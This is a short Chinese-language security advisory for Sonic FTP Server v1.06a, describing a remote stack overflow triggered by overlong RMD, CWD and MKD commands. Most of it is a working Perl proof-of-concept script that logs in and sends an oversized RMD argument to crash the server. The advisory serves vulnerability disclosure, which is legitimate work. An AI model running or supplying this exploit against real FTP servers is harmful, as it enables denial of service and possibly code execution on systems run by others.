SonicFTPServer远程超长命令堆栈溢出
来源:中国电子政务网 更新时间:2012-04-13
                     

受影响系统:

Sonic FTP Server v1.06a

描述:

Sonic FTP Server 是一款免费软件。

Sonic FTP Server在处理包含超长字符串时多个命令存在问题,远程攻击者可以利用这个漏洞

对FTP服务程序进行拒绝服务攻击。

FTP服务程序对一些包含超长字符串的RMD、CWD、MKD命令缺少正确的边界缓冲区检查,可导致触

发基于栈的溢出,精心构建提交数据,可能以服务进程权限执行任意指令。

验证代码:

use IO::socket::INET;

$host = "192.168.1.71";
$port = 21;
$buffer = "A" x 506;

$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port) || die 
"[!] Unable to connect to $host\n";

for($i = 1; $i < 10; $i++)
{
$socket->recv($recvbuf,200);
print $recvbuf;
}

print $socket "USER 1\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

print $socket "PASS 1\r\n";
for($i = 1; $i < 10; $i++)
{
$socket->recv($recvbuf,200);
print $recvbuf;
}

print $socket "RMD $buffer\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

close($socket);